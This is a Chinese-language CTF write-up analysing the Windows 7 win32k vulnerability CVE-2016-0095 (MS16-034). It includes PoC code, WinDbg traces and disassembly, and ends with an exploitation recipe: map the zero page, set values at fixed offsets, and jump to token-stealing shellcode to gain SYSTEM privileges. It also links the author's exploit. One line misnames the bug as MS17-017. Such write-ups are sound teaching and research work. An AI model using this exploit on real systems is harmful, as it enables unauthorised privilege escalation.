作者:k0shl
前言
剛剛結束的SSCTF里面出了很多貼近實戰的題目,有JAVA沙箱逃逸,有office的棧溢出,都比較有意思,這次的pwn450的題目是一道Windows Kernel Exploitation,漏洞編號是CVE-2016-0095(MS16-034),由四葉草的大牛bee13oy提供了一個能觸發BSOD的PoC,要求通過分析漏洞并在Win 7環境下完成利用。

感覺這個過程比較有意思,和師傅們分享一下,這個漏洞相對于之前做過的CVE-2014-4113漏洞來說更為簡單,利用上也有點意思,適合做Windows Kernel入門。
本文首先我們簡單分析一下PoC,隨后我們一起來分析一下這個漏洞的形成原因,最后我們來看一下這個漏洞的利用點在哪里并完成利用,文章最后我將CVE-2016-0095的EoP源碼上傳到github并提供鏈接。
另外bee13oy大牛提供的PoC,我在VS2013下編譯有一點問題,我稍微調整了一下PoC源碼,會一起上傳至github。
調試環境按照SSCTF題目要求是Windows 7 x86 sp1. 請師傅們多多指教,謝謝閱讀!

PoC分析
首先觸發MS17-017的核心函數在Trigger_BSoDPoc中。
HRGN hRgn = (HRGN)CreateRectRgnIndirect(&rect);
HDC hdc = (HDC)CreateCompatibleDC((HDC)0x0);
SelectObject((HDC)hdc, (HGDIOBJ)hBitmap2);
HBRUSH hBrush = (HBRUSH)CreateSolidBrush((COLORREF)0x00edfc13);
FillRgn((HDC)hdc, (HRGN)hRgn, (HBRUSH)hBrush);
這個漏洞和bitmap相關,創建了一個hdc設備句柄,并選入了一個bitmap對象,創建了一個hBrush邏輯刷子,以及一個hRgn矩形對象,最后調用FillRgn觸發漏洞。
其中SelectObject選入bitmap對象的hBitmap2,由NtGdiSetBitmapAttributes函數創建,其定義的bitmap結構在demo_CreateBitmapIndirect函數中。
PoC在VS2013編譯時存在一些小問題,首先是對NtGdiSetBitmapAttributes的重構定義中使用的W32KAPI,這里編譯時報錯,增加一個預定義頭就可以了。
#ifndef W32KAPI
#define W32KAPI DECLSPEC_ADDRSAFE
#endif
第二個問題在重構NtGdiSetBitmapAttributes時內聯匯編會使用NtGdiSetBitmapAttributes的系統調用號,隨后調用KiFastSystemCall進入內核態,這里KiFastSystemCall沒有提供地址,可以直接在函數內LoadLibrary之后使用GetProcAddress獲取KiFastSystemCall地址。
HMODULE _H_NTDLL = NULL;
PVOID addr_kifastsystemcall = NULL;
_H_NTDLL = LoadLibrary(TEXT("ntdll.dll"));
addr_kifastsystemcall = (PVOID)GetProcAddress(_H_NTDLL, "KiFastSystemCall");
__asm
{
push argv1;
push argv0;
push 0x00;
mov eax, eSyscall_NtGdiSetBitmapAttributes;
mov edx, addr_kifastsystemcall;
call edx;
add esp, 0x0c;
}
這樣編譯就沒問題啦,PoC我們簡單分析了一下,下面我們通過Windbg的PIPE進行雙機聯調,來分析一下這個漏洞的形成原因。
MS16-034漏洞分析
這是一個由于_SURFOBJ->hDEV未初始化直接引用導致的無效地址訪問引發的漏洞,首先運行PoC,Windbg會捕獲到異常中斷,來看一下中斷位置。
kd> r
eax=00000000 ebx=980b0af8 ecx=00000001 edx=00000000 esi=00000000 edi=fe9950d8
eip=838b0560 esp=980b0928 ebp=980b09a0 iopl=0 nv up ei pl zr na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010246
win32k!bGetRealizedBrush+0x38:
838b0560 f6402401 test byte ptr [eax+24h],1 ds:0023:00000024=??
中斷位置eax的值是0x0,而eax+24是一個無效地址空間,我們需要跟蹤這個eax寄存器的值由什么地方得到,首先分析win32k!bGetRealizedBrush函數。
int __stdcall bGetRealizedBrush(struct BRUSH *a1, struct EBRUSHOBJ *a2, int (__stdcall *a3)(struct _BRUSHOBJ *, struct _SURFOBJ *, struct _SURFOBJ *, struct _SURFOBJ *, struct _XLATEOBJ *, unsigned __int32))
{
函數傳入了3個變量,由外層函數分析,可以發現其中a3是EngRealizeBrush函數,是一個寫死的值(這點后 面會提到),a1是一個BRUSH結構體,a2是一個EBRUSHOBJ結構體,而漏洞觸發位置的eax就由EBRUSHOBJ結構體得來,跟蹤分析一下這個過程。
kd> p
win32k!bGetRealizedBrush+0x1c://ebx由第二個參數得來
969e0544 8b5d0c mov ebx,dword ptr [ebp+0Ch]
……
kd> p
win32k!bGetRealizedBrush+0x25://第二個參數+34h的位置的值交給eax
969e054d 8b4334 mov eax,dword ptr [ebx+34h]
……
kd> p
win32k!bGetRealizedBrush+0x32://eax+1c的值,交給eax,這個值為0
969e055a 8b401c mov eax,dword ptr [eax+1Ch]
kd> p
win32k!bGetRealizedBrush+0x35:
969e055d 89450c mov dword ptr [ebp+0Ch],eax
kd> p
win32k!bGetRealizedBrush+0x38://eax為0,引發無效內存訪問
969e0560 f6402401 test byte ptr [eax+24h],1
經過上面的分析,我們需要知道,EBRUSHOBJ+34h位置存放著什么樣的值,直接來看EBRUSHOBJ結構體的內容。
kd> dd 8effcaf8
8effcaf8 ffffffff 00000000 00000000 00edfc13
8effcb08 00edfc13 00000000 00000006 00000004
8effcb18 00000000 00ffffff fe96b7c4 00000000
8effcb28 00000000 fd2842e8 ffbff968 ffbffe68
這里0x8effcaf8+34h位置存放的值是fd2842e8,而fd2842e8+1c存放的是0x0,就是這里傳遞給eax,導致了eax是0x0,從而引發了無效地址訪問。
kd> dd fd2842e8
fd2842e8 108501ef 00000001 80000000 874635f8
fd2842f8 00000000 108501ef 00000000 00000000
fd284308 00000008 00000008 00000020 fd28443c
fd284318 fd28443c 00000004 00001292 00000001
因此我們需要知道fd2842e8+1c是一個什么對象的值,但通過dt方法沒法獲得_EBRUSHOBJ的結構,這里對象不明朗沒關系,我們可以通過對外層函數的跟蹤,來看一下+1c位置存放的是什么樣的結構,通過kb堆棧回溯(這里由于多次重啟堆棧地址發生變化,不影響調試)
kd> kb
# ChildEBP RetAddr Args to Child
00 980b09a0 838b34af 00000000 00000000 838ad5a0 win32k!bGetRealizedBrush+0x38
01 980b09b8 83929b5e 980b0af8 00000001 980b0a7c win32k!pvGetEngRbrush+0x1f
02 980b0a1c 839ab6e8 fe975218 00000000 00000000 win32k!EngBitBlt+0x337
03 980b0a54 839abb9d fe975218 980b0a7c 980b0af8 win32k!EngPaint+0x51
04 980b0c20 83e941ea 00000000 ffbff968 1910076b win32k!NtGdiFillRgn+0x339
我們可以看到最外層函數調用了win32k!NtGdiFillRgn函數,直接跟蹤外層函數調用,在NtGdiFillRgn函數中。
EngPaint(
(struct _SURFOBJ *)(v5 + 16),
(int)&v13,
(struct _BRUSHOBJ *)&v18,
(struct _POINTL *)(v42 + 1592),
v10); // 函數調用會進這里
接下來我們重啟系統,重新跟蹤這個過程,對象地址值發生變化,但不影響調試,傳入的第一個參數是SURFOBJ對象,來看一下這個對象的內容
kd> p
win32k!NtGdiFillRgn+0x334:
96adbb98 e8fafaffff call win32k!EngPaint (96adb697)
kd> dd esp
903fca5c ffb58778 903fca7c 903fcaf8 ffaabd60
第一個參數SURFOBJ的值是ffb58778,繼續往后跟蹤
kd> p
win32k!EngPaint+0x45:
96adb6dc ff7508 push dword ptr [ebp+8]
kd> p
win32k!EngPaint+0x48:
96adb6df 8bc8 mov ecx,eax
kd> p
win32k!EngPaint+0x4a:
96adb6e1 e868e4f8ff call win32k!SURFACE::pfnBitBlt (96a69b4e)
kd> dd 903fcaf8//這個值是BRUSH結構體
903fcaf8 ffffffff 00000000 00000000 00edfc13
903fcb08 00edfc13 00000000 00000006 00000004
903fcb18 00000000 00ffffff ffaab7c4 00000000
903fcb28 00000000 ffb58768 ffbff968 ffbffe68//偏移0x34存放的是0xffb58768
903fcb38 ffbbd540 00000006 fe57bc38 00000014
903fcb48 000000d3 00000001 ffffffff 83f77f01
903fcb58 83ec0892 903fcb7c 903fcbb0 00000000
903fcb68 903fcc10 83e17924 00000000 00000000
kd> dd ffb58768//看一下0xffb58768的值
ffb58768 068501b7 00000001 80000000 8754b030
ffb58778 00000000 068501b7 00000000 00000000//這個值是0x0
ffb58788 00000008 00000008 00000020 ffb588bc
我們發現在EBRUSHOBJ+34h位置存放的值,再+10h存放的正是之前的SURFOBJ,可以看到,0xffb58768和之前SURFOBJ對象的值0xffb58778正好相差10h,也就是說,之前ffb58768+1ch位置存放的就是SURFOBJ+0xc的值,可以看到而這個值來看一下SURFOBJ的結構
typedef struct _SURFOBJ {
DHSURF dhsurf;
HSURF hsurf;
DHPDEV dhpdev;
HDEV hdev;
SIZEL sizlBitmap;
ULONG cjBits;
PVOID pvBits;
PVOID pvScan0;
LONG lDelta;
ULONG iUniq;
ULONG iBitmapFormat;
USHORT iType;
USHORT fjBitmap;
} SURFOBJ;
前面DHSURF、HSURF、DHPDEV類型長度都是4字節,看到偏移+ch位置存放的是hdev對象,正是在PoC中未對hdev對象進行初始化直接引用,導致了漏洞的發生。我們也可以來看一下_EBRUSHOBJ的一些結構概況。

紅框框應該是BRUSHOBJ,其中前4個字節時iSolidColor,中間4個字節是pvRbrush,后4個字節是flColorType,綠框框應該是在PoC中定義的hBrush的COLORREF,粉框框則是SURFOBJ-10h的一個結構,問題也出現在這里。
PWN!!
知道了這個漏洞形成原因,我們來考慮利用過程,首先,我們回到觸發漏洞的位置,這里引用了eax+24,就是0x0+24,在Win7下限制較少,不像Win8和Win10,在_EPROCESS結構中有VdmAllowed之類的來限制NtAllocateVirtualMemory申請零頁內存,如果我們通過NtAllocateVirtualMemory申請零頁內存,那么對應位置就不是一個無效地址了。
我們通過偽代碼來看一下這一小部分的邏輯。
P = 0;
v69 = 0;
a2 = *(struct EBRUSHOBJ **)(v6 + 28);//key!!a2被賦值為0了!
v45 = (*((_BYTE *)a2 + 36) & 1) == 0;//引發BSOD位置
v72 = 0;
v75 = 0;
可以看到,在之前a2會由于hdev未初始化,而直接引用,被賦值為0x0,那么也就是說,在函數后面所有跟a2有關的操作部分,比如a2+0xn的操作,都是在零頁內存位置做操作,比如后面的a2+36就是引發bsod的位置,將0x0+24h了。
那么也就是說,如果我們用NtAllocateVirtualMemory分配了零頁內存,那么零頁內存位置的值我們都是可控的,也就是說在win32k!bGetRealizedBrush中,所有跟a2相關的位置我們都是可控的。
換個角度講,我們可以在零頁位置構造一個fake struct來控制一些可控的位置。接下來,為了利用,我們需要在win32k!bGetRealizedBrush中,找到一些可以利用的點。
找到了兩個點,第一個點比較好找,第二個點我不夠細心沒找到,還是pxx提醒了我,感謝pxx師傅!
第一個點在

第二個點在

其中第一個點不好用,就是之前我說到的這是一個常數,這里引用的是EngRealizeBrush函數,是在傳遞參數時一個定值,這個值不能被修改。

因此我們能利用的位置應該就是第二個點,但其實,從我們漏洞觸發位置,到漏洞利用位置有幾處if語句判斷,第一處。
.text:BF840799 ; 119: v23 = *((_WORD *)v20 + 712);
.text:BF840799
.text:BF840799 loc_BF840799: ; CODE XREF: bGetRealizedBrush(BRUSH *,EBRUSHOBJ *,int (*)(_BRUSHOBJ *,_SURFOBJ *,_SURFOBJ *,_SURFOBJ *,_XLATEOBJ *,ulong))+266j
.text:BF840799 movzx edx, word ptr [eax+590h] ; check 0x590
.text:BF8407A0 ; 120: if ( !v23 )
.text:BF8407A0 cmp dx, si
.text:BF8407A3 ; 121: goto LABEL_23;
.text:BF8407A3 jz loc_BF8406F7
這時候v20的值是a2,而a2的值來自于 a2 = (struct EBRUSHOBJ *)(v6 + 28);,之前已經分析過,由于未初始化,這個值為0,那么第一處在v23的if語句跳轉中,需要置0+0x590位置的值為不為0的數。
接下來第二處跳轉。
.text:BF8407A3 ; 120: if ( !v23 )
.text:BF8407A3 jz loc_BF8406F7
.text:BF8407A9 ; 122: v24 = (struct EBRUSHOBJ *)((char *)v20 + 1426);
.text:BF8407A9 add eax, 592h ; Check 0x592
.text:BF8407AE ; 123: if ( !*(_WORD *)v24 )
.text:BF8407AE cmp [eax], si
.text:BF8407B1 ; 124: goto LABEL_23;
.text:BF8407B1 jz loc_BF8406F7
這個地方又要一個if語句跳轉,這個地方需要置0x592位置的值為不為0的數。
最后一處,也就是call edi之前的位置
.text:BF8407F0 mov edi, [eax+748h]//edi賦值為跳板值
.text:BF8407F6 setz cl
.text:BF8407F9 inc ecx
.text:BF8407FA mov [ebp+var_14], ecx
.text:BF8407FD ; 134: if ( v26 )
.text:BF8407FD cmp edi, esi//這里仍舊是和0比較
.text:BF8407FF jz short loc_BF840823
這里檢查的是0x748的位置,這個地方需要edi和esi做比較,edi不為0,這里賦值為替換token的shellcode的值就是不為0的值了,直接可以跳轉。
只要繞過了這3處,就可以到達call edi了,而call edi,又來自eax+748,這個位置我們可控,這樣就能到shellcode位置了,所以,我們需要在零頁分配一個0x1000的內存(只要大于748,隨便定義)。
隨后布置這3個值,之后我們可以達到零頁可控位置。

接下來,我們只需要在源碼中使用steal token shellcode,然后在內核態執行用戶態shellcode,完成token替換,這樣我們通過如下代碼部署零頁內存。
void* bypass_one = (void *)0x590;
*(LPBYTE)bypass_one = 0x1;
void* bypass_two = (void *)0x592;
*(LPBYTE)bypass_two = 0x1;
void* jump_addr = (void *)0x748;
*(LPDWORD)jump_addr = (DWORD)TokenStealingShellcodeWin7;
由于Win7下沒有SMEP,因此我們也不需要使用ROP來修改CR4寄存器的值,這樣,我們在RING0下執行RING3 shellcode完成提權。

最后,我提供一個我的Exploit的下載地址: https://github.com/k0keoyo/SSCTF-pwn450-ms16-034-writeup
請師傅們多多指教,謝謝!Have fun and PWN!
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/298/